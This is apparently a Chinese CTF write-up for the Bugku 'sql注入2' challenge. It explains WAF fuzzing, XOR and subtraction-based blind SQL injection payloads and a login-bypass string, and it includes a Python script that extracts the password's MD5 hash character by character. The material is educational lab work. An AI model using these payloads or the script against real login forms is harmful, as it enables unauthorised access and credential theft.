zoukankan      html  css  js  c++  java
  • bugku-sql注入2(学习到有用的东西)

    这道题只能说坑啊,特别是最后找密码参数那里,真的是磕磕碰碰啊。。。

    但是做完题的整个过程还是学到了很多有用的技巧。

    直接来吧:

    看了下提示,真的是全都过滤了吗,点进去是一个登录页面

     哎,又是一个post型注入,先试试随便输个账号密码看看回显

     没有说密码错误,那么应该是先判断用户名再判断密码的,盲猜用户名为admin,试试

     那么用户名确实是admin,先抓包,对用户名处进行操作,输入单引号没反应,然后跟上注释符#,发现被waf拦截!

     看看提示的那些符号被过滤没,拿一个逗号试试,不行,再%试试,发现没被过滤,原来这全部过滤是骗人的,waf只拦截了一部分。

    我的wfuzz暂时出了点问题,这里就先用我自己归纳的sql注入常用的关键字和字符字典,可以拿来用bp跑,看哪些字符没被过滤,还是挺有用的。

     

     扫完之后发现,长度为367的字符(除了第一个)没有被waf拦截的,而370的是被waf拦截了的。注意,这里是waf过滤,不是普通的函数过滤,因此双写绕过没用,试了大小写绕过也没用,因此哪些关键字被过滤了的话,就不能用了,url全编码两次也不行。

    一、方法一:

    注释符也过滤完了,and和or也被过滤掉,因此这里用不了一般的闭合了,看着异或符^还没有被过滤,那么试试用异或逻辑来判断真假。

    盲猜后端sql语句为“select * from user where uname='xxxxxxx';”

    不为难我们的话一般都为单引号闭合,那么在uname上构造这样的payload:admin'^(length(database())>1)^'

    如果我们中间的sql语句为假则返回真,为真则返回假,我们拿0和1来测试一下返回状态:

     

     我们条件为0(假),返回结果为密码错误(说明用户名正确);条件为1(真),返回结果为用户名错误(即为假)。

    那么直接爆数据库长度,先试着用bp来爆,发现不管返回是密码错误还是用户名错误,长度都是一样的,选择了先手爆数据库长度,然后再用脚本跑库名。

     前面两个返回的都是用户名错误,大于三就密码错误了,说明数据库长度为3.

    然后我们用substrl()函数构造爆数据库字母的语句,这里由于逗号被过滤了,那么我们用from...for...来代替

    substr(database(),1,1)等价于substr(database() from 1 for 1)

    哦豁,忘了刚刚空格和or都被过滤了,导致for也用不了了,那么只能用如下payload了

    ascii(substr((database())from(1)))=97

    空格用()代替,至于只用from就能达到目的的原理等稍后解释。

     用脚本爆出来为“ctf”,但是我发现,这。。。。没用啊啊啊!,后面根本爆不了表跟字段,or都被waf过滤了,跟or相关的关键字也都被间接过滤(比如说information),玩个蛇,不会直接爆破吧这玩意儿,反正都知道了用户名,说不定密码是个弱密码呢。

    然后直接拿出我自己平常收集的一个弱密码字典来试试,因为手懒,就把平常自己能想到和用到的弱密码收集在了一起,特别小,方便bp跑。

     看了一下367的响应包,是密码错误的,看了下320的响应包,没有数据,而且自从密码为admin123之后全是320的,回去试试第一个密码admin123,发现页面自己变成了http://123.206.87.240:8007/web2/admin/,直接是登录的状态了

     我知道了,只要bp扫到正确的密码并且发包之后,原来的页面直接更换为已登录状态,那么换个浏览器去试试密码。

    我先试了admin123下面的任意一个密码,不行,然后试admin123,发现确实能登录,直接ls,得到flag

     方法二

    看了其他大佬的wp,发现一个坑人的地方,直接看源码,

     name对应的就是密码的参数名,直接用刚刚的盲注来爆这个参数passwd。

     32以下的数字都是对的,大于32就错误了(注意这里用户名正确代表sql语句为假),因此passwd为32位,应该是个32位加密的md5值。

    然后用我刚才写的脚本,修改一些变量值就可以爆出32位的md5值了,脚本最后贴出。

    然后拿去在线cmd5里面去解

     得到密码。然后登录得flag。

    原理:

    0x01 只用from的substr查询

    我们在自己本机的mysql里面做实验,

     

     发现只用from的话,就会把对应查询位置的字符以及后面的字符全部查询显示出来,相当于默认长度为后面所有。

     发现只要用ascii码做比较,只会比较查询出来的第一个字母的ascii码,也就是说我们只用from还是能达到一个字母一个字母通过盲注比较出来并拼接。

    0x02 sql语句的数学计算

    sql语句进行计算的时候,会把字符串转化为整数来计算,如果字符串开头不是数字的话直接转化为0

    我们先来看看查询一个表时where条件直接跟一个字段等于0

     发现只要user字段内容的首位不为数字的全都查询出来了,因为user=0这个“=”也是一个数学计算符,因此会将user字段的所有内容转化为数字型,首字母不为数字的字符串全部转化为0,而从首字母开始如果是数字,将会转话为最前面对应的数字(例如‘123admin’将转为123),因此符合user等于0的就是那些首字母不为数字的用户了,全部爆出来。

     如果等于1或其他数字就不会爆出来。

    那么我们在user后面也可构造一个字符和数字的计算试,让其结果为0即可查询到所有。因此我们构造

    'a'-(1)-''  条件为真
    'a'-(0)-''  条件为假

    括号里面的是条件,可以是sql判断条件,是真返回数字1,是假返回数字0.

    这里出现了减号,那么这个式子会被当成这样计算,有引号的字符串全部转化为0

    'a'-(1)-''  计算结果为:0-1-0=-1
    'a'-(0)-''  计算结果为:0-0-0=0

    因此当条件为假的时候结果为零,数据库将查询到全部数据。

    同理上面的异或payload可以这样计算:

    'a'^(1)^''  计算结果为:0^1^0=1
    'a'^(0)^''  计算结果为:0^0^0=0

    同样是括号内的sql语句为真时返回1,为假时返回0,因此利用这两种状态来判断是真是假。

    0x03 可当万能密码使用

    如果后台查询为单引号情况下:

    a'^(0)^'
    或者
    a'-(0)-'

    当然,不一定能绕过密码有时候。

    附上本题跑密码的脚本:

    import requests
    
    hed={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0'}
    admin="admin'-(ascii(substr((passwd)from({})))={})-'"
    #dat={'uname':admin,'passwd':'123'}
    url="http://123.206.87.240:8007/web2/login.php"
    ascil=[i for i in range(48,58)]
    ascil2=[i for i in range(97,123)]
    ascil3=ascil+ascil2
    password=''
    for i in range(1,33):
        for j in ascil3:
            dat={'uname':admin.format(i,j),'passwd':'123'}
            respons=requests.post(url,headers=hed,data=dat,timeout=4)
            html=respons.content.decode()
            if 'username' in html:
                password=password+chr(j)
                print(password)
                break
    print('密码的md5为:',password)

    总的来说,数学计算符号可以在sql中搭配逻辑判断灵活使用,这里还可以用其他计算符同样可以达到目的。

  • 相关阅读:
    eclipse中maven插件,改变默认仓库位置
    maven ArtifactTransferException:failure
    抽象工厂模式
    简单工厂模式,利用反射机制让简单工厂模式变得更灵活
    Android开发之获取系统版本号
    Android开发之ProgressDialog与ProgressBar
    Failed to initialize monitor Thread: Unable to establish loopback connection解决方法
    Android开发之通过反射获取到挂断电话的API
    Android Studio常用插件
    Proxifier设置代理
  • 原文地址:https://www.cnblogs.com/-chenxs/p/11691734.html
Copyright © 2011-2022 走看看